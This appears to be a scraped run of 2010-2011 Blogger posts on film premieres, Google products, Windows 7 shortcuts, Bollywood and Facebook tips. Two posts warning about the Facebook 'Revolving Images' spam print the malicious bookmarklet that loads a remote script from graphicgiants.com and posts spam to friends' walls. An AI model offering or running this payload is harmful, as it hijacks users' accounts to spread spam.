Joseph is a man plagued by violence and rage that is driving him to self-destruction. As Joseph’s life spirals into turmoil, a chance of redemption appears in the form of Hannah, a Christian charity shop worker. Their relationship develops to reveal that Hannah is hiding a secret of her own which has devastating results on both of their lives. Starring Peter Mullan and Olivia Colman.

We Need to Talk About Kevin Lynne Ramsay, North American Premiere
A suspenseful and psychologically gripping exploration into a parent dealing with her child doing the unthinkable, We Need to Talk About Kevin is the highly-anticipated third feature from director Lynne Ramsay and features a tour-de-force performance by Tilda Swinton.

Where Do We Go Now? Nadine Labaki, International Premiere
Set against the backdrop of a war-torn country, Where Do We Go Now? tells the heart-warming tale of a group of women’s determination to protect their isolated, mine-encircled community from the pervasive and divisive outside forces that threaten to destroy it from within. Stars Kevin Abboud and Julian Farhat.

Woman in the Fifth Pawel Pawlikowski, World Premiere
American writer Tom Ricks comes to Paris desperate to put his life together again and win back the love of his estranged wife and daughter. When things don’t go according to plan, he ends up in a shady hotel in the suburbs, having to work as a night guard to make ends meet. Then Margit, a beautiful, mysterious stranger walks into his life and things start looking up. Their passionate and intense relationship triggers a string of inexplicable events… as if an obscure power is taking control of his life. Stars Ethan Hawke and Kristin Scott Thomas.

Google launches Plus to take on Facebook

noreply@blogger.com (Anonymous) — Thu, 08 Sep 2011 19:01:00 +0000

The battle for the eyeballs of social media network users is intensifying, with Google launching a demo version of 'Google+' (called Google Plus), the search engine giant's renewed attempt to take on Facebook in the social networking arena.

“This is just the beginning...We're just getting warmed up...launching what we call a field trial period, an invitation-only approach to help smooth out the rough edges,” said an official Google post on the demo site.

While designing the new service, Google has kept in mind social circles, called plus circles, and a Twitter-inspired feature that resembles real-life social interactions. It allows users to selectively share information with specific groups within defined circles, rather than sharing it with all their social connections at once. One can create as many circles as one wishes to, for whatever categories one wants, adding friends and contacts simply by clicking and dragging names onto various circles.

WHAT IS GOOGLE PLUS?

It is a social networking service in beta phase, in which users can join by invitation only
Social circles allow selective interaction; the number is unlimited
Web conferencing option for up to 10 participants
Instant upload of photos, pictures on Google+
‘Huddle’ turns different chats into a group chat
Google Plus would soon release mobile applications for Android and iPhones

Google is also featuring a web conferencing option, in which up to 10 people can join in simultaneously. A feature called Sparks would provide users with web content on various topics like sports or fashion, allowing the user to subscribe to categories of interest, create custom categories, and share content with friends. Google would also release Google Plus mobile apps for Android smartphones and iPhones. This would include special features like cloud-based photo storage and group messaging. With its instant upload feature, one's photos and videos automatically upload themselves to a private album on Google+. Its 'Huddle' feature turns different conversations into a group chat.

Google, however, has its work cut out. Facebook leads the global social media networking pack, with nearly 750 million users (including 500 million active users), followed by LinkedIn (around 100 million), Twitter (around 75 million), the 100-odd million Orkut (Brazil and India accounting for most users) and MySpace, with 30 million-odd users.

Google's earlier attempts saw feeble success in the social networking space. It could not create a 'Wave', generate a 'Buzz' or make 'Orkut' grab eyeballs in markets outside Brazil and India. Even in India, Orkut has been steadily losing marketshare to Facebook. Compared with against Facebook's 31 million users, Orkut has around 18 million. Various Google social products —Orkut, Lively, Google Friend Connect, Wave and Buzz—just haven't caught on, say social media experts.

Last February, Gmail users impulsively clicked on Google Buzz. Where else could one get such a massive installed base with a single click? By building Buzz directly into Gmail, the service had an instant audience of nearly 180 million users.

Similar to Google+, Buzz was said to be a stream of status updates, pictures, links and videos from friends. One could 'like' these and comment on them. If one used Flickr, Picasa, Google Reader or Twitter, you could automatically import these into one's stream. Buzz also recommended items one might like, based on the activities of one's friends. However, Google was reprimanded for abusing the privacy of individuals by pushing-in Buzz to all its users, after which it had to backtrack. Today, there's hardly any buzz about the product.

With close to 4,000 Twitter mentions every minute (Twirus data), Google +1 was a hot topic of discussion on the microblogging site. Blogger Vikram Pandit wrote, “We'll see how it plays out when the users begin flooding in, but +1 isn't really as fun or as social as Facebook's or Twitter's various web-consuming widgets.” Another Twitter user, Sameer Garde, said, “If this is how Google wants to take on Facebook's social reach, then it's going to be an interesting fight to watch.” Facebook user Meena Raheja expressed her opinion as a status update, “Don't find Google Plus One intuitively appealing, at least just yet. Will stay with FB (Facebook) till the jury's out.”

The jury, however, spoke in a mixed voice, saying it was too early to be sure. Chris George, chief executive, EBS Worldwide, said, “Before marketers start thinking about leveraging Google+ as a new alternative to FB, it would be important to see how it works with the users. At the face of it, Google+ offers an interesting methodology to organise your social media friends and acquaintances (around what they call circles). But Google also has a history of great ideas that haven't really fired up users.”

Navin Chandani, managing director, Experian Marketing Services, says, “Globally, the convergence of search marketing and social marketing is a growing trend and the new feature from Google is a step in that direction. Social media allows consumers to secure 'peer' or 'friend' level recommendations, and search engines allow consumers to find information, products and services.” According to Experian Hitwise Clickstream data, search engines contribute 38 per cent, while social media websites contribute about 10 per cent of the traffic to over 200,000 websites tracked by the company in India. “A social marketing feature on a search engine is definitely not something a marketer can ignore,” says Chandani.

Games2win sees the +1 button as a welcome change. India chief executive Alok Kejriwal says, “Online games are highly 'searched' by lots of consumers on search engines and we are delighted to have the +1 button implemented on our site. It immediately allows content to bubble up and be seen by friends on the Google network.” He insists the Facebook 'Like' button works in collusion with +1 and not in seclusion. “To me, an FB like/comment is a 'viral push', +1 is a 'viral pull',” he says.

Nevertheless, Google, the $29-billion search engine giant, garners negligible revenue from the enterprise space, compared to its phenomenal success with web advertising, which accounts for almost 96 per cent of its total revenue. A successful social networking site would only add to its web advertising prowess.

Google to revamp home page

Google is working on a project to introduce a new and improved Google experience. Over the next few months, the search engine says users would continue to see more updates on its look and feel. Its homepage, too, would get a makeover. Google has also created a ‘What do you love’? (http://www.wdyl.com/#) page. For instance, if you type the word ‘nature’, it throws up a host of neatly-packaged information under different subheads. The synergy with Google+ is evident.

Get Rid Of The “Revolving Images” Spam On Facebook

noreply@blogger.com (Unknown) — Sat, 27 Nov 2010 02:13:00 +0000

f you are reading this post then I’m assuming that you happen to be one of those unfortunate users who unknowingly copy pasted the following script into their browser address bars hoping to see revolving images on Facebook. If I happen to be wrong and you are not even remotely aware of anything I’m saying then do not under any circumstances use the script below.

1javascript:(a = (b =  document).createElement(&quot;script&quot;)).src =   &quot;//graphicgiants.com/majic.js?show&quot;, b.body.appendChild(a); void(0)

Chances are that the spam has started to become a PITA and you want to get rid of it. But how? It’s fairly easy and was pointed out to me by one of my readers, Zahid. Great guy I must say. If this solution works for you then do thank him in the comments. He deserves it.

The spam is making wall posts and is updating users’ status’. To do this, it is using the a not so newly launched Facebook feature called “Upload Via E-mail”. It is a unique personal Email address given to every user which allows one to post status updates or send photos and videos straight to one’s profile. The spam has recorded this Email address of yours and is using it to update your status. Thankfully, Facebook lets you change this E-mail ID. This is how you can do it.

Step 1: Go over to http://www.facebook.com/mobile/

Find “More Facebook Mobile Products” written somwhere down. Find “Upload Via Email“. Click “Find out more“.

Step 2: Now look at the image below and click exactly where it says “..refresh your upload email.” or exactly where you see the cursor in the image.

Step 3: Now press reset. Don’t worry, your computer will not crumble to pieces. At least, not yet.

Step 4: If you see an image something like this (below) then you are done for the day. The spam won’t work anymore.

And please don’t go about entering random JavaScript in your browsers anymore.

Lesson for day for you: JavaScript can be very malicious.

Newest Facebook Spam: Revolving Images

noreply@blogger.com (Unknown) — Sat, 27 Nov 2010 02:10:00 +0000

UPDATE: You can get rid of this spam now! Click here for how to!

Spam and Facebook are like synonyms or more like 2 point on a circle. Facebook spams you by sending Emails a hell lot more than required and then people spam Facebook (and hence you) by making some stupid yet ingenious Javascripts which require a a click of the mouse to be turned on and create havock. After the video in which a teacher nearly kills a boy, a new spam is on the
prowl
rounds. It is being named “REvolving images” for some very obvious.

The problem with the script is that not only does it start an irritating image revolving thing it promised (which can be thankfully stopped by refreshing the page) it posts the following message on some of the users’ friends’ walls’

Really cool Facebook revolving images. MUST SEE http://rotatingimage1.tk/

Clicking the link takes you here (see the image posted above) which tells you to copy paste a JavaScript which will rotate your images (which it does). Obviously, it doesn’t tell you about the spam thing. This is the JavaScript:

1javascript:(a = (b =  document).createElement("script")).src =  "//graphicgiants.com/majic.js?show", b.body.appendChild(a); void(0)

Don’t use this script under any circumstances. On a different note, I tried using the script. After copy pasting it and pressing Enter a dialog box popped up

I pressed OK and withing 3 seconds, the aforementioned message was posted on the walls of 7 of my friends (I was using my friend Sonal Verma’s account. You can see the spam message in the image). However, no message has been posted after those 7. Needless to say, I went to my friends’ walls and removed my posts. There is no doubt that this thing is irritating and because of the posting link thing, it has become viral. The damage it does is not lasting but is done very quickly and the user is not notified of any of the link posting that took place using his account.

Unlike other applications, this spam doesn’t even ask for any kind of permission whatsoever.

If you are really interested in doing the image revolving trick use this safe piece of JavaScript code. Copy Paste the code into your browser’s address bar and press Enter. Enjoy. To disable the script, refresh the page. Unlike the one given above (the spam script), this JavaScript is safe and will cause no damage at all.

1javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24;   x4=300; y4=200; x5=300; y5=200;  DI=document.getElementsByTagName("img");  DIL=DI.length; function  A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style;  DIS.position='absolute';  DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px";   DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5);   void(0);

UPDATE: You can get rid of this spam now! Click here for how to!

Beyond Instant results: Instant Previews

noreply@blogger.com (Unknown) — Fri, 12 Nov 2010 01:48:00 +0000

With Google Instant you get results as fast as you type, but your search doesn’t stop there. Once you get results back, you choose a site to visit based on the information in each result—like the title, a snippet of text and the URL. Over time we’ve made steady improvements to our search results and snippets to help you pick a great page. Now we’re making a leap to image-based snapshots—a new kind of visual search result we call “Instant Previews” which makes it even faster to choose the right result.

Instant Previews provides a graphic overview of a search result and highlights the most relevant sections, making finding the right page as quick and easy as flipping through a magazine. To use it, click once on the magnifying glass next to the title of any search result and a visual overview of the page will appear on the right. From there, hover your cursor over any other result to see a preview. For those of you who’ve recently stopped using your mouse to search, now you can navigate to a result, hit the right arrow key to see the preview, and hit the down arrow key to keep browsing. Here’s a video showing Instant Previews in action:

In our testing, we’ve found that people who use Instant Previews are about 5% more likely to be satisfied with the results they click. The previews provide new ways to evaluate search results, making you more likely to find what you’re looking for on the pages you visit. Here are some of the things you can do to get the most out of Instant Previews:

Quickly compare results - A visual comparison of search results helps you pick the one that’s right for you. Quickly flip through previews to see which page looks best.
Pinpoint relevant content - Text call outs, in orange, will sometimes highlight where your search terms appear on the webpage so you can evaluate if it’s what you're looking for.
Interact with the results page - Page previews let you see the layout of a webpage before clicking the search result. Looking for a chart, picture, map or list? See if you can spot one in the preview.

Instant Previews can be helpful for many kinds of tasks. For example, say you looked at a page before and need to find it again—with a preview, you can tell if any of the results look familiar. Or perhaps you’re looking for an official website—look for a logo and formal style and you’ll probably be able to identify it. Or maybe you’re looking for a how-to guide—it’s easy to spot a page with clear illustrations and step-by-step instructions.

We realized early on that this kind of experience would only make sense if it was lightning fast. Not long ago simply downloading an image could take 20 or 30 seconds, and even today many websites take four or five seconds to load. With Instant Previews, we match your query with an index of the entire web, identify the relevant parts of each webpage, stitch them together and serve the resulting preview completely customized to your search—usually in under one-tenth of a second. Once you click the magnifying glass, we load previews for the other results in the background so you can flip through them without waiting.

Well, I think that’s enough of a preview—soon you can try out the real thing for yourself! The new feature is rolling out now and should be available in more than 40 languages in the next few days.

Google Doodle Logo – 115th Anniversary of the Discovery of X-ray

noreply@blogger.com (Unknown) — Sun, 07 Nov 2010 18:45:00 +0000

November 8, 2010 is the 115th anniversary of the discovery of X-rays. Google will have a special logo, aka Doodle, of an X-ray of the Google logo.

Now you can check out Google’s new Doodle logo when you open Google homepage which is made up of bones, a key, a rubber duck, other skeletons and maybe a couple coins. To celebrate the 115th anniversary of the discovery of X-ray Google just revealed this logo.

X-radiation (composed of X-rays) is a form of electromagnetic radiation. X-rays have a wavelength in the range of 0.01 to 10 nanometers, corresponding tofrequencies in the range 30 petahertz to 30 exahertz (3 × 1016 Hz to 3 × 1019 Hz) and energies in the range 120 eV to 120 keV. They are shorter in wavelength than UV rays and longer than gamma rays.

X-ray was Discovered by German physicist Wilhelm Röntgen is usually credited as the discoverer of X-rays because he was the first to systematically study them, though he is not the first to have observed their effects. He is also the one who gave them the name “X-rays“, though many referred to these as “Röntgen rays” for several decades after their discovery and to this day in some languages, including Röntgen’s native German, and Swedish.

X-rays were found emanating from Crookes tubes, experimental discharge tubes invented around 1875, by scientists investigating the cathode rays, that is energeticelectron beams, that were first created in the tubes. Crookes tubes created free electrons by ionization of the residual air in the tube by a high DC voltage of anywhere between a few kilovolts and 100 kV. This voltage accelerated the electrons coming from the cathode to a high enough velocity that they created X-rays when they struck the anode or the glass wall of the tube. Many of the early Crookes tubes undoubtedly radiated X-rays, because early researchers noticed effects that were attributable to them, as detailed below. Wilhelm Röntgen was the first to systematically study them, in 1895.

Yahoo and Google hand in hand when it comes to ‘flicker’

noreply@blogger.com (Unknown) — Sat, 30 Oct 2010 14:59:00 +0000

Congratulations! Now you can use flicker using google. First it was necessary to have yahoo account to use flicker, but now with yahoo and google’s partnership this problem has been resolved. Now you can open new flicker account with your openID.

Users dont have to create a yahoo account for using flicker. Instead, they can signup to flicker with their google accounts with a single click. However, the existing flicker users have to use their yahoo accounts to sign in. We hope that in future their are more sush partnerships which would further make our life easier.

Access Orkut via Facebook!

noreply@blogger.com (Unknown) — Fri, 22 Oct 2010 18:11:00 +0000

If you are on Facebook and Orkut at the same time, this one Facebook application is for you! It is developed by Jeetu Mirchandani (former IIT Bombay Student, working for Amazon, India) so that you can read scraps via Orkut!

Through this application you can view Orkut users profiles, photos, scrapbook, videos & fans with this! So this can be used as limited proxy in places where Orkut is banned but Facebook is not. This is the situation with most Asian countries including India where Facebook is yet to catch up with popularity of Orkut!

#Installation on Facebook

Login to your Facebook account.
Click here to go to application page. You will be greeted with a page like below. Click on Add Application Link.
It will ask for confirmation like other Facebook application. Also it will ask for inviting your friends which is optional and can be skipped!
Next Put your Orkut profile URL in field shown below…
Thats it. You will end up on a page which will look like your Orkut Profile page

This application does not require your Orkut login ID & password, but I personally feel it should take it to give more feature!

As of now claimed to be working feature – Writing Scrap is not working. Surprisingly big blogger like Amit Agrawal did not bother to test it before writing about it!

I feel the feature is implemented using fake Orkut account to send scraps on your behalf. As this applications user base grew this feature is now getting blocked by Orkut CATCHPA.

Anyway its nice start by Jeetu and another option for you to access Orkut!

The Best Browsers for Windows 7

noreply@blogger.com (Unknown) — Thu, 21 Oct 2010 23:22:00 +0000

The Importance of a Web Browser

The web browser is an essential part of your computing experience. Using a good web browser can save you the headaches of rendering web pages incorrectly, not loading websites, or not being able to view media on websites. As more complex services become available online, using a good browser will help you take full advantage of utilizing these services in addition to decreasing or eliminating errors you may run into. There are many web browsers available for Windows 7 and each offers their advantages and disadvantages. To save you the hassle of comparing every single web browser, here is a list of the best browsers for Windows 7.

Google Chrome

Rating

Google Chrome is the newest competitor in the browser market. Built from the open source Chromium project, Google Chrome is a fast and efficient browser. Google Chrome is a light-weight browser that loads webpages at lightning fast speeds and handles javascript very efficiently. Google Chrome comes with all the basic functionality included with most browsers on the market today. Chrome uses a tab system for easily managing multiple open websites, a bookmark syncing manager to keep your bookmarks organized regardless of which Windows 7 computer you are using, extensions that are capable of extending the functionality of Chrome, and themes so your web browser can stand out, no matter what your artistic taste is.

Mozilla Firefox
Rating

The Mozilla Firefox web browser is synonymous to safe web browsing. Firefox boasts a secure web browsing experience with a strong community to support such a claim. Firefox supports features such as tabbed browsing for easy navigation between multiple open websites, bookmark management for easily organizing your bookmarks, a large extension directory for extending Firefox to almost anything you can imagine, and theming for users who want to give Firefox a specific look and feel. Firefox supports the most modern standards, including HTML 5, and also follows the strictest web standards for rendering webpages. Firefox performs very well on Windows 7 and is a must if you are concerned with a safe and secure browsing experience.

Internet Explorer 8
Rating

The Internet Explorer 8 web browser is included with Windows 7 and is the default method for browsing the Internet. Internet Explorer has always been scrutinized for lack of security and a poor user experience. With the release of Internet Explorer 8, Microsoft took the concerns of their consumers and delivered a quality product for Internet Explorer users. Internet Explorer 8 supports tabbed browsing, extensions, and bookmark management. While there are still many skeptics who shun Internet Explorer 8, it is definitely a Microsoft web browser worth using. Since Internet Explorer 8 is already included with Windows 7, using IE8 needs no additional download or installation.

Choose the Right Browser

Choosing any of the above three web browsers will provide you with a quality web browsing experience. Google Chrome, Mozilla Firefox, and Internet Explorer 8 will render even the most advanced websites properly. If you are still struggling with a decision, keep in mind that Google Chrome is the newest of the three browsers and while it has gained a great reception from users, there may still be problems you might run into. Firefox and Internet Explorer have been around for a while and will get any job done. Firefox is the safer choice when compared to Internet Explorer 8, although Internet Explorer 8 is the safest IE browser to date. Whatever you decision is, you can be assured that you will be browsing the Internet with one of the best browsers for Windows 7.

Google Input Method: Type anywhere in your language

noreply@blogger.com (Unknown) — Sun, 10 Oct 2010 05:40:00 +0000

Google Transliteration IME is an input method editor which allows users to enter text in one of the supported languages using a roman keyboard. Users can type a word the way it sounds using Latin characters and Google Transliteration IME will convert the word to its native script. Note that this is not the same as translation -- it is the sound of the words that is converted from one alphabet to the other, not their meaning. Converted content will always be in Unicode.

Google Transliteration IME is currently available for 22 different languages -Amharic, Arabic, Bengali, Farsi (Persian), Greek, Gujarati, Hebrew, Hindi, Kannada, Malayalam, Marathi, Nepali, Oriya, Punjabi, Russian, Sanskrit, Serbian, Sinhalese, Tamil, Telugu, Tigrinya and Urdu.

Features

Offline Support
No dependency on internet connection.

Word Completions
Dictionary based word completions for prefixes.

Personalized Choices
Remember user corrections along with macro and canonical support.
Easy Keyboard
Dictionary enabled keyboard to enter rare and complex words.

Quick Search
Single click web search for highlighted word.

To install click here.
After visiting, select the language you want and the download the setup.

For installation help click here.

Cool Customization
Customize suggestions page size, display font and more.

About "Google Instant"

noreply@blogger.com (Unknown) — Sun, 03 Oct 2010 09:27:00 +0000

Google Instant is a new search enhancement that shows results as you type. We are pushing the limits of our technology and infrastructure to help you get better search results, faster. Our key technical insight was that people type slowly, but read quickly, typically taking 300 milliseconds between keystrokes, but only 30 milliseconds (a tenth of the time!) to glance at another part of the page. This means that you can scan a results page while you type.

The most obvious change is that you get to the right content much faster than before because you don’t have to finish typing your full search term, or even press “search.” Another shift is that seeing results as you type helps you formulate a better search term by providing instant feedback. You can now adapt your search on the fly until the results match exactly what you want. In time, we may wonder how search ever worked in any other way.

Benefits

Faster Searches: By predicting your search and showing results before you finish typing, Google Instant can save 2-5 seconds per search.

Smarter Predictions: Even when you don’t know exactly what you’re looking for, predictions help guide your search. The top prediction is shown in grey text directly in the search box, so you can stop typing as soon as you see what you need.

Google Instant can save 2-5 seconds per search

seconds

Average Time to Enter a SearchWith Google InstantBefore Google Instant

Instant Results: Start typing and results appear right before your eyes. Until now, you had to type a full search term, hit return, and hope for the right results. Now results appear instantly as you type, helping you see where you’re headed, every step of the way.

Did you know:

Before Google Instant, the typical searcher took more than 9 seconds to enter a search term, and we saw many examples of searches that took 30-90 seconds to type.
Using Google Instant can save 2-5 seconds per search.
If everyone uses Google Instant globally, we estimate this will save more than 3.5 billion seconds a day. That’s 11 hours saved every second.
15 new technologies contribute to Google Instant functionality.

Frequently Asked Questions

Q: Can I turn off Google Instant?

A: If you don't want to see results as you type, you can turn off Google Instant by clicking the link next to the search box on any search results page, or by visiting your Preferences page.

Q: Where is Google Instant available?

A: Google Instant is starting to roll-out to users on Google domains in the US, UK, France, Germany, Italy, Spain and Russia who use the following browsers: Chrome v5/6, Firefox v3, Safari v5 for Mac and Internet Explorer v8. Please note, users on domains other than Google.com can only access Google Instant if they are signed in to a Google Account. We will continue to add new domains and languages over the next several months.

Q: Will Google Instant slow my Internet connection?

A: We anticipate that Google Instant will not slow your Internet connection, and we plan to automatically turn it off for very slow connections. Even though we are serving more results pages, the additional load this enhancement creates is very small when compared to other types of web services such as streaming video and online gaming. We’ve also worked hard to minimize the amount of data that is sent and received during the search process. For example, when rendering new results as you type, we only send the parts of the page that change, without updating the static elements, such as a the page frame around the results.

Q: I love Google for its simplicity and I usually know what I want to type. Is Google Instant just a distraction for me?

A: With Google Instant you don’t lose any of the functionality that you know and love about Google. If you want to type your full search term and hit enter, that still works just as it always has. Even for the experienced searcher, though, instant feedback can help you narrow in on the precise results you want, which may have taken several searches before. On top of that, we estimate that about half of your searches will be returned in net zero time because the results you want will appear before you finish typing.

Q: If an offensive or lewd word is a fraction of my query, will Google push these results in front of me as I type?

A: As always, we provide options to filter the content you see in search. You can choose to set SafeSearch to filter out explicit content, and parents can lock SafeSearch to the strict setting. In addition, autocomplete excludes certain terms related to pornography, violence and hate speech. Learn more about SafeSearch.

Q: Does this change impact the ranking of search results?

A: No, this change does not impact the ranking of search results.

Q: Is Google Instant available on mobile?

A: Google Instant is not yet available on mobile, but we plan to release it soon.

25 Cool Windows 7 Keyboard Tricks That Will Impress Your Friends

noreply@blogger.com (Unknown) — Sat, 02 Oct 2010 04:43:00 +0000

Anyone working professionally with a computer has their hands on the keyboard most of the time. Reaching for the mouse can be an annoying disturbance and personally I often turn over my mouse in such situations. An easy solution is to simply keep the hands on the keyboard and complete as many tasks as possible with keyboard shortcuts only.

Apart from making you work more efficiently and faster, you can also impress your friends or colleagues by being able to work without a mouse. This article describes some cool Windows 7 keyboard tricks to get you started. In the end you might never want to take your hands off the keyboard again.

For your convenience, more keyboard shortcut resources are attached at the bottom.

Note that some of these shortcuts will only work if Windows Aero is enabled. If Aero effects are disabled on your computer, it might not be powerful enough to support resource intensive graphical features. The visual effects may also have been disabled to increase overall performance. If you wish to enable Aero nevertheless, have a look at my recent article explaining How To Enable and Troubleshoot Aero Effects in Windows 7.

Aero Shortcuts

[Windows] + [Spacebar] (Aero Peek)
Make all open windows transparent to view gadgets and icons on desktop.

[Windows] + [D] (Aero Peek)
Show or hide the desktop.
[Windows] + [Home] (Aero Shake)
Minimize all but selected window. Reverse by clicking the key combination again.
[Windows] + left arrow OR [Windows] + right arrow (Aero Snap)
Dock selected window to the left or right half of your screen.
[Windows] + up arrow OR [Windows] + down arrow (Aero Snap)
Maximized and restores the selected window.
[Windows] + [SHIFT] + up arrow OR [Windows] + [SHIFT] + down arrow (Aero Snap)
Maximizes and restores selected window in vertical dimension only.
[Windows] + [Tab] (Aero Flip)
Launch 3D representation of open windows and click [Tab] key again to flip through them.

Windows & Taskbar

[Alt] + [Ctrl] + [Tag] + left/right/up/down arrow
Flip window.
[Alt] + [Tab]
Cycle through open windows.

[Windows] + [T] OR [Windows] + [SHIFT] + [T]
Move focus to front or back of taskbar. Press [T] again while holding the [Windows] key to cycle through items in the taskbar from left to right or, with [SHIFT] button held too, from right to left.
[Windows] + [B]
Puts focus on the ’show hidden icons’ button on the system tray.
[Windows] + [1] THROUGH [Windows] + [9]
Launch first through ninth icon on taskbar, including items pinned to taskbar.
[Windows] + [SHIFT] + [1] THROUGH [Windows] + [SHIFT] + [9]
Starts new instance of respective taskbar icon.
[Windows] + [Ctrl] + [1] THROUGH [Windows] + [Ctrl] + [9]
Cycles through multiple instances of the respective icon.
[Windows] + [Alt] + [1] THROUGH [Windows] + [Alt] + [9]
Opens jump list for respective icon.

Multiple Monitors

[Windows] + [SHIFT] + right arrow OR [Windows] + [SHIFT] + left arrow
Move selected window from one monitor to another. They will remain in the same relative location.
[Windows] + [P]
Select presentation display mode.

Magnifier

[Windows] + [+] OR [Windows] + [-]
Activates Windows Magnifier to zoom in or out of screen.
[Ctrl] + [Alt] + [D]
Switch to docked mode.
[Ctrl] + [Alt] + [L]
Switch to lense mode.

[Ctrl] + [Alt] + [F]
Switch from docked or lens mode back to full screen mode.
[Ctrl] + [Alt] + [I]
Invert colors.
[Windows] + [Esc]
Exist magnifier views.

Other

[Windows] + [G]
Cycle through desktop gadgets.
[Windows] + [X]
Launches Windows Mobility Center. Especially useful if you’re working on a laptop.

Google Me Details Emerge: Social Layers and Building off Buzz

noreply@blogger.com (Unknown) — Sat, 25 Sep 2010 17:25:00 +0000

t's hard to resist drawing comparisons between Google Me and Facebook, but as more details about Google's ambitions to build a social network emerge, the more disparate the two become. Though Google Me was initially expected to be a standalone site, Google CEO Eric Schmidt recently revealed it will instead take a layered approach to Web socialization, weaving networking elements into preexisting Google products. Now, TechCrunch has uncovered new details about Google Me, including the news that the service will be built off Google Buzz.

"Google Me will produce an activity stream generated by all Google products. Google Buzz has been rewritten to be the host of it all. And the reason Google Buzz isn't currently working in Google Apps is because they'll use the latest Buzz to support the activity stream in Apps... All Google products have been refactored to be part of the activity stream, including Google Docs, etc. They'll build their social graph around the stream," unnamed sources who've worked with Google on the product told TechCrunch's Michael Arrington.

The social layers approach is a good one -- flat-out copying Facebook, as some blogs have accused, would probably get a big "meh" from the masses. Why bother with a Google Facebook when you can have a Facebook-Facebook? Also, giving the public what it wants -- which is apparently even more social Web features -- without requiring yet another bookmark or profile could be a recipe for streamlined success.

However, basing Google Me on Buzz's foundation makes me nervous. Buzz was interesting but heavily flawed, and many people stayed away from it altogether. I'm surprised Google hasn't shut it down like it did with its productivity collaboration suite, Wave -- which was yet anotherembarrassing misstep for the company. And though Schmidt indicated that Google Me will be an opt-in service, thus reducing the chances of having an angry privacy backlash, it's very possible that people won't even know about or use Google Me -- just like Buzz's usage has been tepid at best due to obliviousness.

Kareena Kapoor Turns 30 Today - Bebo Special

noreply@blogger.com (Unknown) — Wed, 22 Sep 2010 18:06:00 +0000

Kareena Kapoor (Hindi: करीना कपूर; born on September 21, 1980), often informally referred to as Bebo, is an Indian actress who appears in Bollywood films. During her career, Kapoor has received five Filmfare Awards and has been noted for her performances in a range of film genres; these include her work from contemporary romantic dramas to comedies, period films to major Bollywood productions, as well as less publicised independent films.

Early Life

Born in Mumbai, India, on September 21, 1980, into the Kapoor film family, Kapoor is the youngest daughter of actors Randhir Kapoor and Babita (née Shivdasani); her elder sister Karisma Kapoor, is also an actress. She is the granddaughter of actor and filmmaker Raj Kapoor, great-granddaughter of actor Prithviraj Kapoor, and niece of actor Rishi Kapoor. According to Kapoor, the name "Kareena" was derived from the book Anna Karenina, which her mother read while she was pregnant with her. Often informally referred to asBebo, she is of Punjabi Khatri descent from her father's side, and on her mother's side she is Sindhi

Childhood Pics

Kareena's Favourites

FOOD

Kareena loves Chinese cuisine especially mutton paya.

MUSIC

She is nostalgic. Prefers songs from the sixties.

CLOTHES

Prefers Salwar Kameezes in soft colors. "I wear western clothes on screen all the time!"

HER CONFIDANTE

Her mother, whom she tells everything, from her achievements to her mistakes.

FRIENDS

Esha Deol is the closest and competition hasn't affected their bonding.

DESTINATION

She loves holidaying in London and never fails to have the thin crust pizza at "HARRODS" or visit "CHINA TOWN" in Piccadilly.

BEST BUY

A gold Gucci handbag which she carries everywhere.

FAVORITE ACTRESS

Meena Kumari. Friends lovingly call her 'Meena Apa'. Among the present, she admires Kajol.

FAVORITE ACTOR

Shahrukh Khan. She thought of him as God!

FAVORITE FILMS

Awaara, Sangam, Bobby, Kal Aaj Aur Kal.

TREASURES

Songs from Hindi Films.

FAVORITE SONGS

"Tujhse Naraaz Nahin Zindagi..." from the film Masoom and "Rahen Na Rahen Hum, Mehka Karenge..." from the film Mamta.

FAVORITE COLORS

Black and Red.

Get Free Facebook Credits

noreply@blogger.com (Unknown) — Wed, 15 Sep 2010 10:47:00 +0000

How to get free facebook credits.

OK every one is looking for free Facebook credits and they are wanting them free no one wants to pay for something if they can get it for free do they well there is a game on face book that will give you 5 free face book credits all you have to do is join and get through the first part of the game then at the top of the screen it will tell you to collect your free face book credits

the name of the game is HELLO CITY
ALL YOU HAVE TO DO IS GO IN THE SEARCH BAR OF YOUR FACEBOOK AND TYPE IN “HELLO CITY” AND IT SHOULD BE THE FIRST ONE THERE IF NOT JUST SEARCH AROUND UNTIL YOU FIND ONE THAT HAS “GAME” UNDER IT AND PLUS ILL HAVE THE URL FOR IT AT THE END. ALL YOU HAVE TO DO IS COPY THAT URL AND PUT IT IN YOUR BROWSER AND HIT ENTER.
THEN ON THE GAME JUST FINISH THE FIRST PART OF THE GAME AND COLLECT YOUR 5 FREE FACEBOOK CREDITS

http://apps.facebook.com/hello-city
THANKS FOR READING AND ENJOY YOUR FREE FACEBOOK CREDITS

KBC 4 Registration Process, Kaun Banega Crorepati 4 Registration, KBC 4 Questions Detail

noreply@blogger.com (Unknown) — Thu, 02 Sep 2010 17:05:00 +0000

KBC 4 Quiz Registration, Kaun Banega Crorepati 4 Questions, KBC 4 Kaun Banega Crorepati Contest Registration Process Details, First Idea Round Period, First Idea round Period of KBC4 Kaun Banega Crorepati Season 4-Registration, Show Info, Photo. KBC 4 Registration for KBC 4 started on August 2. KBC this time started with first question round, ie IDEA first question, which when answered will be eligible for KBC auditions, which are going to be held across major cities in India.

Here is shrot note on how to participate in kbc 4? andRegistration process for KBC 4?
Amitabh Bachchan will ask you one question daily from 2nd August 2010 at 9:00 PM (2300 IST). For , get in front of your TV everyday at 9:00 pm to get the question from Amitabh Bachchan.
Show beginning from August 2, 2010 to August 8, 2010 for all landline telephone and mobile telephone subscribers. From August 11 to 15, 2010 for all Idea subscribers (“First Idea round Period”).

When KBC 4 Will start?
KBC 4 will be aired from 11 October. kaun banega crorepati, kaun banega crorepati game, Sony entertainment, kbc registration, kbc questions

What is registration process and Terms and Condition of KBC 4?
Check out Registration process of KBC 4 in following pdf from setindia.com; Kaun Banega Crorepati Contest Registration Terms n Conditions, KBC 4.

Business Laptops For All Budgets!

noreply@blogger.com (Unknown) — Thu, 29 Jul 2010 11:40:00 +0000

Usually, choosing the perfect laptop can be a bane, especially if you need it for home use or just to use as a second computer. But it isn’t very difficult to spot business laptops, especially if you have been using one already. In any case we’ve listed a few laptops which target business people and professionals alike. Most of these laptops are powerful enough to handle mainstream and office applications and the high-end ones can even handle some serious number crunching.

